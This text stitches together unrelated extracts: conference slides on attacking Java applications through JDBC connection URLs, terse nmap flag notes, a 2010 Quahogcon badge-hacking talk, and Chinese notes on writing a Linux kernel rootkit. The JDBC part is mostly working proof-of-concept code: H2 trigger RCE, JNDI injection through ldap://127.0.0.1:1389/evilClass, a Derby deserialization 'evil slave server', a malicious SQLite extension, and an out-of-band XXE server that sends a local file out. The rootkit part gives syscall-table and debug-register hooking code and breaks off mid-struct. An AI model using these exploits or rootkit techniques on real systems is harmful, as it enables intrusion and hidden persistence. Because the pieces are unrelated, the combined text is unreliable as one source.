'"+ groovy +"'"; Connection conn = DriverManager.getConnection(url); conn.close(); Use @groovy.transform.ASTTEST to perform assertions on the AST GroovyClassLoader.parseClass(…) Is groovy dependency necessary? private Trigger loadFromSource() { SourceCompiler compiler = database.getCompiler(); synchronized (compiler) { String fullClassName = Constants.USER_PACKAGE + ".trigger." + getName(); compiler.setSource(fullClassName, triggerSource); try { if (SourceCompiler.isJavaxScriptSource(triggerSource)) { return (Trigger) compiler.getCompiledScript(fullClassName).eval(); } else { final Method m = compiler.getMethod(fullClassName); if (m.getParameterTypes().length > 0) { throw new IllegalStateException("No parameters are allowed for a trigger"); } return (Trigger) m.invoke(null); } } catch (DbException e) { throw e; } catch (Exception e) { throw DbException.get(ErrorCode.SYNTAX_ERROR_1, e, triggerSource); } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 "CREATE TRIGGER" NOT only compile but also invoke eval public static void main(String[] args) throws ClassNotFoundException, SQLException { String javascript = "//javascript\njava.lang.Runtime.getRuntime().exec(\"open -a Calculat or\")"; String url = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER hhhh BEFORE SELECT ON INFORMATION_SCHEMA.CATALOGS AS '"+ javascript +"'"; Connection conn = DriverManager.getConnection(url); conn.close(); 1.The derivation of JDBC attacking 2.In-depth analysis of occurred implementations 3.Set fire on JDBC of diverse applications Agenda Agenda IBM DB2 0day case clientRerouteServerListJNDINameIdentifies a JNDI reference to a DB2ClientRerouteServerList instance in a JNDI repository of reroute server information.clientRerouteServerListJNDIName applies only to IBM Data Server Driver for JDBC and SQLJ type 4 connectivity, and to connections that are established through the DataSource interface. If the value of clientRerouteServerListJNDIName is not null, clientRerouteServerListJNDIName provides the following functions: • Allows information about reroute servers to persist across JVMs • Provides an alternate server location if the first connection to the data source fails public class c0 impLements PrivilegedExceptionAction { private Context a = null; private String b; public c0(Context var1, String var2) { this.a = var1; this.b = var2; } public Object run() throws NamingException { return this.a.Lookup(this.b); } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Find out root cause Set JDBC URL Connect Succeeded Lookup ServerList Load Remote Codebase Connect Failed JDNI Injection RCE Database Manipulation Construct JNDI injection RCE clientRerouteServerListJNDIName = ldap://127.0.0.1:1389/evilClass; public class DB2Test { public static void main(String[] args) throws Exception { Class.forName("com.ibm.db2.jcc.DB2Driver"); DriverManager.getConnection("jdbc:db2://127.0.0.1:50001/BLUDB:clientRerouteServerListJNDIName= ldap://127.0.0.1:1389/evilClass;"); } } Java Content Repository Implementations • Jackrabbit (Apache) • CRX (Adobe) • ModeShape • eXo Platform • Oracle Beehive ModeShape • JCR 2.0 implementation • Restful APIs • Sequencers • Connectors • … JCR connectors • Use JCR API to access data from other systems • E.g. filesystem, Subversion, JDBC metadata… ? ModeShape JCR Repository JCR Client Application ModeShape gadget • JCR Repositories involving JDBC public class ModeShapeTest { public static void main(String[] args) throws Exception { Class.forName("org.modeshape.jdbc.LocalJcrDriver"); DriverManager.getConnection("jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass"); } } JBoss/Wildfly 0day case • A JNDI URL that points the hierarchical database to an existing repository • A JNDI URL that points the hierarchical database to an evil LDAP service jdbc:jcr:jndi:ldap://127.0.0.1:1389/evilClass jdbc:jcr:jndi:jcr:?repositoryName=repository public class Socketconnection { private final Socket socket; private final ObjectOutputStream objOutputStream; Private final ObjectInputstream objInputStream; public SocketConnection(Socket var1) throws IOException { this.socket = var1; this.objOutputStream = new ObjectOutputStream(var1.getOutputStream()); this.objInputStream = new ObjectInputStream(var1.getInputStream()); } public Object readMessage() throws cLassNotFoundException, IOException { return this.objInputStream.readObject(); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 Apache Derby private class MasterReceiverThread extends Thread { private final ReplicationMessage pongMsg = new ReplicationMessage(14, (Object)null); MasterReceiverThread(String var2) { super("derby.master.receiver-" + var2); } public void run() { while(!ReplicationMessageTransmit.this.stopMessageReceiver) { try { ReplicationMessage var1 = this.readMessage(); switch(var1.getType()) { case 11: case 12: synchronized(ReplicationMessageTransmit.this.receiveSemaphore) { ReplicationMessageTransmit.this.receivedMsg = var1; ReplicationMessageTransmit.this.receiveSemaphore.notify(); break; } case 13: ReplicationMessageTransmit.this.sendMessage(this.pongMsg); } } } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 readObject() readMessage() MasterReceiverThread set JDBC URL to make target start as MASTER meanwhile appoint SLAVE establish JDBC connection read data stream from SLAVE execute payload with JDBC driver Master Slave readMessage() startMaster=true slaveHost=hostname Construct JDBC connection public class DerbyTest { public static void main(String[] args) throws Exception{ Class.forName("org.apache.derby.jdbc.EmbeddedDriver"); DriverManager.getConnection("jdbc:derby:webdb;startMaster=true;slaveHost=127.0.0.1"); } } Evil slave server public class EvilSlaveServer { public static void main(String[] args) throws Exception { int port = 4851; ServerSocket server = new ServerSocket(port); Socket socket = server.accept(); socket.getOutputStream().write(Serializer.serialize( new CommonsBeanutils1().getObject("open -a Calculator"))); socket.getOutputStream().flush(); Thread.sleep(TimeUnit.SECONDS.toMillis(5)); socket.close(); server.close(); } } SQLite If (JDBC URL is controllable) { The database file content is controllable } How to exploit it? private void open(int openModeFlags, int busyTimeout) throws SQLException { // check the path to the file exists if (!":memory:".equals(fileName) && !fileName.startsWith("file:") && !fileName.contains("mode=memory")) { if (fileName.startsWith(RESOURCE_NAME_PREFIX)) { String resourceName = fileName.substring(RESOURCE_NAME_PREFIX.length()); // search the class path ClassLoader contextCL = Thread.currentThread().getContextClassLoader(); URL resourceAddr = contextCL.getResource(resourceName); if (resourceAddr == null) { try { resourceAddr = new URL(resourceName); } catch (MalformedURLException e) { throw new SQLException(String.format("resource %s not found: %s", resourceName, e)); } } try { fileName = extractResource(resourceAddr).getAbsolutePath(); } catch (IOException e) { throw new SQLException(String.format("failed to load %s: %s", resourceName, e)); } } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 else { // remove the old DB file boolean deletionSucceeded = dbFile.delete(); if (!deletionSucceeded) { throw new IOException("failed to remove existing DB file: " + dbFile.getAbsolutePath()); } } } byte[] buffer = new byte[8192]; // 8K buffer FileOutputStream writer = new FileOutputStream(dbFile); InputStream reader = resourceAddr.openStream(); try { int bytesRead = 0; while ((bytesRead = reader.read(buffer)) != -1) { writer.write(buffer, 0, bytesRead); } return dbFile; } finally { writer.close(); reader.close(); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Controllable SQLite DB & Uncontrollable select code Class.forName("org.sqlite.JDBC"); c=DriverManager.getConnection(url); c.setAutoCommit(true); Statement statement = c.createStatement(); statement.execute("SELECT * FROM security"); Utilize "CREATE VIEW" to convert uncontrollable SELECT to controllable Trigger sub-query-1 and sub-query-2 CREATE VIEW security AS SELECT (<sub-query-1>), (<sub-query-2>) Load extension with a controllable file? " protected CoreConnection(String url, String fileName, Properties prop) throws SQLException { this.url = url; this.fileName = extractPragmasFromFilename(fileName, prop); SQLiteConfig config = new SQLiteConfig(prop); this.dateClass = config.dateClass; this.dateMultiplier = config.dateMultiplier; this.dateFormat = FastDateFormat.getInstance(config.dateStringFormat); this.dateStringFormat = config.dateStringFormat; this.datePrecision = config.datePrecision; this.transactionMode = config.getTransactionMode(); this.openModeFlags = config.getOpenModeFlags(); open(openModeFlags, config.busyTimeout); if (fileName.startsWith("file:") && !fileName.contains("cache=")) { // URI cache overrides flags db.shared_cache(config.isEnabledSharedCache()); } db.enable_load_extension(config.isEnabledLoadExtension()); // set pragmas config.apply((Connection)this); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 public class SqliteTest { public static void main(String args[]) { Connection c = null; String url= "jdbc:sqlite::resource:http://127.0.0.1:8888/poc.db"; try { Class.forName("org.sqlite.JDBC"); c = DriverManager.getConnection(url); c.setAutoCommit(true); Statement statement = c.createStatement(); statement.execute("SELECT * FROM security"); } catch (Exception e) { System.err.println(e.getClass().getName() + ": " + e.getMessage()); System.exit(0); } } } Use memory corruptions in SQLite such "Magellan" String[] PoC = { "DROP TABLE IF EXISTS ft;", "CREATE VIRTUAL TABLE ft USING fts3;", "INSERT INTO ft VALUES('aback');", "INSERT INTO ft VALUES('abaft');", "INSERT INTO ft VALUES('abandon');", "SELECT quote(root) from ft_segdir;", "UPDATE ft_segdir SET root = X'0005616261636B03010200FFFFFFFF070266740302020003046E646F6E03030200';", "CREATE VIEW security as select (SELECT * FROM ft WHERE ft MATCH 'abandon')", }; Use memory corruptions in SQLite such "Magellan" #include <sqlite3ext.h> /* Do not use <sqlite3.h>! */ #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <arpa/inet.h> #include <signal.h> #include <dirent.h> #include <sys/stat.h> #include <stdlib.h> SQLITE_EXTENSION_INIT1 #ifdef _WIN32 __declspec(dllexport) #endif int sqlite3_extension_init( char **pzErrMsg, const sqlite3_api_routines *pApi ){ int rc = SQLITE_OK; SQLITE_EXTENSION_INIT2(pApi); (void)pzErrMsg; /* Unused parameter */ char *argv[]={"open","-a","Calculator",NULL}; rc = execv("/usr/bin/open", argv); return rc; } gcc -fno-common -dynamiclib ./ext.c -o ./ext.so Write SQLite extension for remote code execution Complice SQLite extension Other scenarios • Cloud native environment • New gadgets (jackson/fastjson) • Attack SpringBoot Actuator misconfiguration • API interfaces exposure • Phishing or honeypot H2 supports "EXECUTE" statements like Postgre() case 'E': if (readIf("EXPLAIN")) { c = parseExplain(); } else if (database.getMode().getEnum() != ModeEnum.MSSQLServer) { if(readIf("EXECUTE")) { c = parseExecutePostgre(); } } else { if (readIf("EXEC") || readIf("EXECUTE")){ c = parseExecutesQLServer(); } } break; case 'G': if (readIf("GRANT")) { c = parseGrantRevoke(CommandInterface.GRANT); } break; private Prepared parseExecutePostgre() { if (readIf("IMMEDIATE")) { return new ExecuteImmediate(session, readExpression()); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 Properties filter for bug fix Apache Druid CVE-2021-26919 patch public static void throwIfPropertiesAreNotAllowed( Set<String> actualProperties, Set<String> systemPropertyPrefixes, Set<String> allowedProperties ) { for (String property : actualProperties) { if (systemPropertyPrefixes.stream().noneMatch(property::startsWith)) { Preconditions.checkArgument( allowedProperties.contains(property), "The property [%s] is not in the allowed list %s", property, allowedProperties ); } } } Apache DolphinScheduler CVE-2020-11974 Patch private final Logger logger = LoggerFactory.getLogger(MySQLDataSource.class); private final String sensitiveParam = "autoDeserialize=true"; private final char symbol = '&'; /** * gets the JDBC url for the data source connection * @return jdbc url return DbType.MYSQL; } @Override protected String filterOther(String other){ if (other.contains(sensitiveParam)){ int index = other.indexOf(sensitiveParam); String tmp = sensitiveParam; if (other.charAt(index-1) == symbol){ tmp = symbol + tmp; } else if(other.charAt(index + 1) == symbol){ tmp = tmp + symbol; } logger.warn("sensitive param : {} in otherParams field is filtered", tmp); other = other.replace(tmp, ""); } New exploitable way to bypass property filter Apache Druid 0day case • MySQL connector/J 5.1.48 is used • Effect Apache Druid latest version • Differences between properties filter parser and JDBC driver parser Apache Druid 0day case private static void checkConnectionURL(String url, JdbcAccessSecurityConfig securityConfig) { Preconditions.checkNotNull(url, "connectorConfig.connectURI"); if (!securityConfig.isEnforceAllowedProperties()) { // You don't want to do anything with properties. return; } @Nullable final Properties properties; // null when url has an invalid format if (url.startsWith(ConnectionUriUtils.MYSQL_PREFIX)) { try { NonRegisteringDriver driver = new NonRegisteringDriver(); properties = driver.parseURL(url, null); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 Java Service Provider Interface java.util.ServiceLoader com.mysql.fabric.jdbc.FabricMySQLDriver mysql-connector-java-{VERSION}.jar META-INF/services java.sql.Driver com.mysql.cj.jdbc.Driver com.mysql.fabric.jdbc.FabricMySQLDriver • MySQL Fabric is a system for managing a farm of MySQL servers. • MySQL Fabric provides an extensible and easy to use system for managing a MySQL deployment for sharding and high-availability. Properties parseFabricURL(String url, Properties defaults) throws SQLException { if (!url.startsWith("jdbc:mysql:fabric://")) { return null; } // We have to fudge the URL here to get NonRegisteringDriver.parseURL() to parse it for us. // It actually checks the prefix and bails if it's not recognized. // jdbc:mysql:fabric:// => jdbc:mysql:// return super.parseURL(url.replaceAll("fabric:", ""), defaults); } 1 2 3 4 5 6 7 8 9 10 11 customize fabric protocol send a XMLRPC request to host try { String url = this.fabricProtocol + "://" + this.host + ":" + this.port; this.fabricConnection = new FabricConnection(url, this.fabricUsername, this.fabricPassword); } catch (FabricCommunicationException ex) { throw SQLError.createSQLException("Unable to establish connection to the Fabric server", SQLError.SQL_STATE_CONNECTION_REJECTED, ex, getExceptionInterceptor(), this); } public FabricConnection(String url, String username, String password) throw FabricCommunicationException { this.client = new XmlRpcClient(url, username, password); refreshState(); } 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 Call XMLRPC request automatically after JDBC connection Does it seem like a SSRF request? public FabricConnection(String url, String username, String password) throws FabricCommunicationException { this.client = new XmlRpcClient(url, username, password); refreshState(); } . . . . . . public int refreshState() throws FabricCommunicationException { FabricStateResponse<Set<ServerGroup>> serverGroups = this.client.getServerGroups(); FabricStateResponse<Set<ShardMapping>> shardMappings = this.client.getShardMappings(); this.serverGroupsExpiration = serverGroups.getExpireTimeMillis(); this.serverGroupsTtl = serverGroups.getTtl(); for (ServerGroup g : serverGroups.getData()) { this.serverGroupsByName.put(g.getName(), g); } . . . . . . public FabricStateResponse<Set<ServerGroup>> getServerGroups(String groupPattern) throws FabricCommunicationException { int version = 0; // necessary but unused Response response = errorSafeCallMethod(METHOD_DUMP_SERVERS, new Object[] { version, groupPattern }); // collect all servers by group name Map<String, Set<Server>> serversByGroupName = new HashMap<String, Set<Server>>(); . . . . . . private Response errorSafeCallMethod(String methodName, Object args[]) throws FabricCommunicationException { List<?> responseData = this.methodCaller.call(methodName, args); Response response = new Response(responseData); 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 set evil JDBC URL porcess XML external entity initiate XMLRPC request Server Attacker retrieve data in response Find XXE vulnerability in processing response data OutputStream os = connection.getOutputStream(); os.write(out.getBytes()); os.flush(); os.close(); // Get Response InputStream is = connection.getInputStream(); SAXParserFactory factory = SAXParserFactory.newInstance(); SAXParser parser = factory.newSAXParser(); ResponseParser saxp = new ResponseParser(); parser.parse(is, saxp); is.close(); MethodResponse resp = saxp.getMethodResponse(); if (resp.getFault() != null) { throw new MySQLFabricException(resp.getFault()); } return resp; 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 XXE attack without any properties import java.sql.Connection; import java.sql.DriverManager; public class MysqlTest{ public static void main(String[] args) throws Exception{ String url = "jdbc:mysql:fabric://127.0.0.1:5000"; Connection conn = DriverManager.getConnection(url); } } from flask import Flask app = Flask(__name__) @app.route('/xxe.dtd', methods=['GET', 'POST']) def xxe_oob(): return '''<!ENTITY % aaaa SYSTEM "fiLe:///tmp/data"> <!ENTITY % demo "<!ENTITY bbbb SYSTEM 'http://127,0.0.1:5000/xxe?data=%aaaa;'>"> %demo;''' @app.route('/', methods=['GET', 'POST']) def dtd(): return '''<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE ANY [ <!ENTITY % xd SYSTEM "http://127.0.0.1:5000/xxe.dtd"> %xd;]> <root>&bbbb;</root>''' if __name__ == '__main__' app.run() XXE attack without any properties public <T extends Source> T getSource(Class<T> clazz) throws SQLException { checkClosed(); checkWorkingWithResult(); // Note that we try and use streams here wherever possible for the day that the server actually supports streaming from server -> client // (futureproofing) if (clazz == null || clazz.equals(SAXSource.class)) { InputSource inputSource = null; if (this.fromResultSet) { inputSource = new InputSource(this.owningResultSet.getCharacterStream(this.columnIndexOfXml)); } else { inputSource = new InputSource(new StringReader(this.stringRep)); } return (T) new SAXSource(inputSource); } else if (clazz.equals(DOMSource.class)) { try { DocumentBuilderFactory builderFactory = DocumentBuilderFactory.newInstance(); builderFactory.setNamespaceAware(true); DocumentBuilder builder = builderFactory.newDocumentBuilder(); InputSource inputSource = null; MySQL Connector/J XXE CVE-2021-2471 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 @Override public synchronized void setString(String str) throws SQLException { checkClosed(); checkWorkingWithResult(); this.stringRep = str; this.fromResultSet = false; } MySQL Connector/J XXE CVE-2021-2471 1 2 3 4 5 6 7 8 import com.mysql.cj.jdbc.MysqlSQLXML; import javax.xml.transform.dom.DOMSource; import java.sql.SQLException; public class MySQLDemo { public static void main(String[] args) throws SQLException { MysqlSQLXML myXML = new MysqlSQLXML(null); myXML.setString("<?xml version=\"1.0\"?>" + "<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM \"http://127.0.0.1:8080/ext.dtd\">%aaa;%ccc;%ddd;]>"); myXML.getSource(DOMSource.class); } } Python wrapper of JDBC in Jython • JDBC is the standard platform for database access in Java • DBI is the standard database API for Python applications zxJDBC, part of Jython, provides a DBI 2.0 standard compliant interface to JDBC. zxJDBC.lookup() import org.python.util.PythonInterpreter; public class JndiDemo { public static void main(String[] args) { PythonInterpreter pyInter = new PythonInterpreter(); pyInter.exec("from com.ziclix.python.sql import zxJDBC;" + "zxJDBC.lookup(\"ldap://127.0.0.1:1389/ijf2bp\")"); } }
pdf
​ --send-ip ​ -Pn -sn --disable-arp-ping --send-ip nmap- 0x00 -sL 0x01 -sn(-sP) 0x02 -Pn -PS22,80,113 -PS22-50 -PS -PA ping -M time ping -M mask 0x03 -PS 0x04 -PA 0x05 -PU 0x06 -PY 0x07 -PE; -PP; -PM (ICMP Ping Types) ​ ​ ​ ​ 0x08 -PO 0x09 0x10
pdf
How Hackers Won the Zombie Apocalypse Quahogcon - Providence, RI - April 23-25 2010 Dennis Brown QuahogCon July 2010 Introduction ● What is Quahogcon ● New regional con in Rhode Island ● Focusing on Infosec and Maker Culture ● Who am I? ● Dennis Brown – Quahogcon Organizer – DC401 – Rhode Island Defcon Group – Day Job - Security Researcher for Tenable Network Security Quahogcon - Providence, RI - April 23-25 2010 Badge Hardware ● Ultimate goal was to have a hackable badge ● Functional and usable post-con ● Our desired result was to include ● Wireless connectivity ● A compelling “game” in the firmware ● Open source development environment ● Easy to write custom firmware for ● We got 3 out of 4! Quahogcon - Providence, RI - April 23-25 2010 The Badge ● Based off of RedWire LLC's RedBee Econotag ● Freescale MC13224v ARM7 Microcontroller ● Zigbee! ● 36 GPIO Headers ● USB connector – easy to flash ● Added 2 AAA batteries and 7 LEDs ● Low cost (~$30 per badge) Quahogcon - Providence, RI - April 23-25 2010 End Product ● Interface Components ● 2 Buttons + Reset ● 5 Red LEDs on left ● RGY LEDs on right Quahogcon - Providence, RI - April 23-25 2010 Badge Features ● Easy to code for ● Sorta ● Custom firmware ● Kismet client – Zigbee sniffer ● Killerbee firmware – Zigbee packet injector ● Contiki support – Full system environment Quahogcon - Providence, RI - April 23-25 2010 Con Firmware ● Wanted an interactive “game” for attendees ● Ways to affect other attendees ● Ways to hack other attendees badges ● Multiple design ideas ● Landed on a Zombies vs. Humans concept ● Chosen 3 weeks before the con ● Note: More time is a good idea! Quahogcon - Providence, RI - April 23-25 2010 Zombies versus Humans! ● Humans kill Zombies! ● Multiple attack modes ● Zombies kill Humans! ● Charge-up attacks ● Speakers and Vendors were Clerics! ● Healed Humans, reclaimed Zombies ● Security “Mussel” could attack anyone ● Not very powerful (so they'd get to work!) Quahogcon - Providence, RI - April 23-25 2010 How It Worked ● Live demo! ● Attacks did 1-5 damage ● Humans had 500 health, Zombies 300 ● Dead Humans became Zombies ● Dead Zombies became incapacitted – Could come back to life ● Clerics healed up to 20 health ● Uh, oops! Quahogcon - Providence, RI - April 23-25 2010 How It Worked (2) ● God mode! ● Only 2 badges flashed in this mode ● Designed to be a “prize” for attendees ● Allowed user to turn badges into any mode – Except God mode Quahogcon - Providence, RI - April 23-25 2010 Predictions ● “Encryption” would be cracked ● Intentionally bad! ● XOR, no checksum ● Packet replay attacks ● Hardware Hacks ● Auto-attacks ● The Unknown! Quahogcon - Providence, RI - April 23-25 2010 The Invasion Begins! ● Badges distributed 5PM Apr. 23 ● 65% Human, 30% Zombie ● First wave: Predictable ● Human dominance, not completely interested ● Zombies attacked, tried to get a foothold ● Saturday Apr 24, everything changed! Quahogcon - Providence, RI - April 23-25 2010 Badge Hacks ● Some predicted, some not ● Unsuccessful Attacks ● Hardware Hacks – 555 Timer to automate attacks – Predicted! – Stopped in firmware, rate limit on attacks – Still automated attacks, simplified gameplay Quahogcon - Providence, RI - April 23-25 2010 Moderately Successful Attacks ● Fuzzing ● Not entirely predicted ● Graph goes here ● Modified code samples to create/replay packets ● Successful at making badges “freak out” ● More successful at Denial of Service – Overloaded badges, essentially halted the game ● Very confusing! Quahogcon - Providence, RI - April 23-25 2010 Very Successful Attacks ● Packet Replay ● No Checksum on packets ● Could replay “known good” packets ● No rate limiting – Successful autoattack! ● God Mode was obtained this way, but not fully – More work was needed to crack it! Quahogcon - Providence, RI - April 23-25 2010 Very Successful Attacks ● Cracking Encryption ● Very simple XOR “encryption” for Zigbee packets – XX XX XX XX XX XX XX – First byte = key – Second Byte = Packet Type (XORed by key) – Third Byte = Action “Strength” (XORed by key) – Other Bytes = Junk Quahogcon - Providence, RI - April 23-25 2010 Very Successful Attacks ● Brute Forcing ● Post-encryption cracking ● Discovering the protocol – Graph of valid commands ● Obvious attempts – Examples – so close! ● Grand Prize – Cracking God Mode! ● Only a few people managed this Quahogcon - Providence, RI - April 23-25 2010 Spoiler Alert! ● Quahogcon 2011 Badge ● Preliminary Design – Arduino based ● More to come! Quahogcon - Providence, RI - April 23-25 2010 Lessons Learned ● Denial of Service Attacks Suck! ● Game outages were no fun ● Will need to take steps against fuzzing next year ● XOR Encryption was ALMOST good enough! ● Remained uncracked for about 18 hours! ● More potential hardware hacks needed ● No successful hardware hacks affected the game ● People still had fun with the hardware regardless! Quahogcon - Providence, RI - April 23-25 2010 Conclusion ● Wireless Badges means Maximum Fun! ● Messing with other peoples badges is More Fun! ● Having great badges is affordable! Quahogcon - Providence, RI - April 23-25 2010 Special Thanks ● John 'Ducksauz' Duksta – Badge Hardware ● Dragorn – Firmware Concept and GPIO Code ● Redwire LLC – Econotag Design ● m33p – Playtesting ● Con Attendees – Making it all happen! Quahogcon - Providence, RI - April 23-25 2010 Q&A Quahogcon - Providence, RI - April 23-25 2010
pdf
假期看了下linux rootkit的资料,想⾃⼰实现⼀个来着,整理了⼀些参考资料和代码。我的想法是rootkit主要作为 后渗透维权的⼀种⽅式,能主要⽤于隐蔽⾃⼰以及能够⽅便触发,想实现的功能也很简单,就是类似发送⼀个特定 的tcp/udp/icmp包就能触发后⻔,反弹⼀个shell或者返回⼀段加密的内容。 ⼀些历史 1. 先是 LD_PRELOAD ,⽤户态,使⽤劫持动态链接库的⼿段可以⽅便hook⼀些函数以达到隐藏的⽬的。 2. Kernel Module ,即编译linux内核,修改⾥⾯的代码达到⽬的,但编译内核不太现实,linux提供了⼀个插 件化的⽅式,通过编译⼀个 .ko ⽂件动态加载⾃定义的内核功能,在内核态,就是操作系统的神,⼲什么事 情都会经过你。我也主要是学习的这种⽅式。 3. 通过操作 /dev/mem 内核内存的⽅式注⼊代码 4. 16年blackhat上的议题,通过在系统启动时插⼊⼀个命名空间(类似docker的隔离环境) 1. https://www.blackhat.com/docs/us-16/materials/us-16-Leibowitz-Horse-Pill-A-New-Type-Of-Linux- Rootkit.pdf Hook rootkit就是对操作系统内核的函数进⾏hook,从⽽在⼀些关键函数上执⾏⾃⼰的命令。 分为两种hook,⼀种是对系统调⽤(syscall)进⾏hook,⼀种是对内核的⼀些导出函数进⾏hook。 系统调⽤表:https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl 系统调⽤参 考:https://syscalls64.paolostivanin.com/ hook内核导出函数实际上就是通过 kallsyms_lookup_name 获取导出函数地址,把它换成我们⾃定义的。 对系统调⽤syscall的hook实际上就是获取 sys_call_table 的导出函数,对这个表⾥的地址hook。 在linux内核版本 5.7.0 以上,取消了 kallsyms_lookup_name 的导出。但还可以使⽤ KPROBE 定位到函数地址 // for linux kernal hook when version >= 5.7.0 #if LINUX_VERSION_CODE >= KERNEL_VERSION(5,7,0) #define KPROBE_LOOKUP 1 #include <linux/kprobes.h> static struct kprobe kp = { .symbol_name = "kallsyms_lookup_name" }; #endif unsigned long * get_syscall_table_bf(void) { unsigned long *syscall_table; #if LINUX_VERSION_CODE > KERNEL_VERSION(4, 4, 0) #ifdef KPROBE_LOOKUP typedef unsigned long (*kallsyms_lookup_name_t)(const char *name); kallsyms_lookup_name_t kallsyms_lookup_name; register_kprobe(&kp); kallsyms_lookup_name = (kallsyms_lookup_name_t) kp.addr; 在看canvas的linux rootkit时,它是⽤硬件断点在syscall table下断点,当执⾏到的时候,再修改地址。 贴⼀下代码参考 unregister_kprobe(&kp); #endif syscall_table = (unsigned long*)kallsyms_lookup_name("sys_call_table"); return syscall_table; #else unsigned long int i; for (i = (unsigned long int)sys_close; i < ULONG_MAX; i += sizeof(void *)) { syscall_table = (unsigned long *)i; if (syscall_table[__NR_close] == (unsigned long)sys_close) return syscall_table; } return NULL; #endif } /* A simple DR based Linux kernel hooking engine Miami Beach 08/12/2008 */ #include <linux/module.h> #include <linux/kernel.h> #include <linux/ptrace.h> #include <linux/errno.h> #include <linux/user.h> #include <linux/security.h> #include <linux/unistd.h> #include <linux/notifier.h> #include <linux/version.h> #if LINUX_VERSION_CODE < KERNEL_VERSION(2,6,24) #include <asm-i386/debugreg.h> #else #include <asm-x86/debugreg.h> #endif #define __SYSENTER_ENABLE__ //#define __UNLINK_LKM__ /* define this if you want (very) verbose kern logs */ /*#define __DEBUG__*/ #ifdef __DEBUG__ #define DEBUGLOG(a) printk a #else #define DEBUGLOG(a) "" #endif /* hooks live here - has sys_table_global */ #include "hooktable.h" /* __get_int_handler(int offset) in: interrupt # as an offset out: address of interrupt handler */ static int __get_int_handler(int offset) { int idt_entry = 0; /* off2 << 16 | off1 */ __asm__ __volatile__ ( "xorl %%ebx,%%ebx \n\t" "pushl %%ebx \n\t" "pushl %%ebx \n\t" "sidt (%%esp) \n\t" "movl 2(%%esp),%%ebx \n\t" "movl %1,%%ecx \n\t" "leal (%%ebx, %%ecx, 8),%%esi \n\t" "xorl %%eax,%%eax \n\t" "movw 6(%%esi),%%ax \n\t" "roll $0x10,%%eax \n\t" "movw (%%esi),%%ax \n\t" "popl %%ebx \n\t" "popl %%ebx \n\t" : "=a" (idt_entry) : "r" (offset) : "ebx", "esi" ); return idt_entry; } /* __set_int_handler(int addr, offset) in: function pointer to set for interrupt in: interrupt # */ static void __set_int_handler(unsigned int addr, int offset) { /* off2 << 16 | off1 */ __asm__ __volatile__ ( "xorl %%ebx,%%ebx \n\t" "pushl %%ebx \n\t" "pushl %%ebx \n\t" "sidt (%%esp) \n\t" "movl 2(%%esp),%%ebx \n\t" "movl %0,%%ecx \n\t" "leal (%%ebx, %%ecx, 8),%%edi \n\t" "movl %1,%%eax \n\t" "movw %%ax,(%%edi) \n\t" "shrl $0x10,%%eax \n\t" "movw %%ax,6(%%edi) \n\t" "popl %%ebx \n\t" "popl %%ebx \n\t" "xorl %%eax,%%eax \n\t" : : "r" (offset), "r" (addr) : "ebx", "edi" ); } /* __get_syscall_table(int idt_entry) in: Interrupt handler addr out: syscall_call/syscall_table Return the syscall_table location based on an IDT entry addr or the value of syscall_call pending on mode. */ #define RETURN_SYSCALL_TABLE 0 #define RETURN_SYSCALL_CALL 1 static unsigned int __get_syscall_table(int idt_entry, int mode) { unsigned char *p = (unsigned char *)idt_entry; unsigned int table; while (!((p[0] == 0xff) && (p[1] == 0x14) && (p[2] == 0x85))) { p ++; } table = *(unsigned int *)(p+3); /* returns sycall_table location from code */ if (mode == RETURN_SYSCALL_TABLE) return table; /* returns syscall_call label loc to breakpoint on */ if (mode == RETURN_SYSCALL_CALL) return (unsigned int)p; return 0; } /* __get_sysenter_call in: syscall_call address in: syscall_table address out: sysenter_call address NOTE: Alternatively there is also a cmpl to sysenter_entry in the debug ENTRY .. but we want the direct offset to the syscall_table call in sysenter_entry anyways, so this is just as valid. */ static unsigned int __get_sysenter_entry(unsigned int syscall_call, unsigned int table) { /* do a backwards search from syscall_call for call *table(,%eax,4) */ unsigned char *p = (unsigned char *)syscall_call - 1; unsigned int verify = 0; while(!((p[0] == 0xff) && (p[1] == 0x14) && (p[2] == 0x85))) { p --; } verify = *(unsigned int *)(p+3); if (verify == table) return (unsigned int) p; return 0; } /* __set_bpN(int addr, int ctrl) in: address to breakpoint in: control bits for dr7 dr0-dr3: breakpoint registers d6: condition register dr7: control register */ /* Define our trap mask */ #define TRAP_GLOBAL_DR0 1<<1 #define TRAP_GLOBAL_DR1 1<<3 #define TRAP_GLOBAL_DR2 1<<5 #define TRAP_GLOBAL_DR3 1<<7 /* exact instruction detection not supported on P6 */ #define TRAP_LE 1<<8 #define TRAP_GE 1<<9 /* Global Detect flag */ #define GD_ACCESS 1<<13 /* 2 bits R/W and 2 bits len from these offsets */ #define DR0_RW 16 #define DR0_LEN 18 #define DR1_RW 20 #define DR1_LEN 22 #define DR2_RW 24 #define DR2_LEN 26 #define DR3_RW 28 #define DR3_LEN 30 /* IA32_SDM_3B.pdf */ /* So that we can set our main watch on all cpu's in the actual handler we only care about THAT cpu so we don't have to set a smp watch there afaik */ struct watch { unsigned int dr0; unsigned int dr1; unsigned int dr2; unsigned int 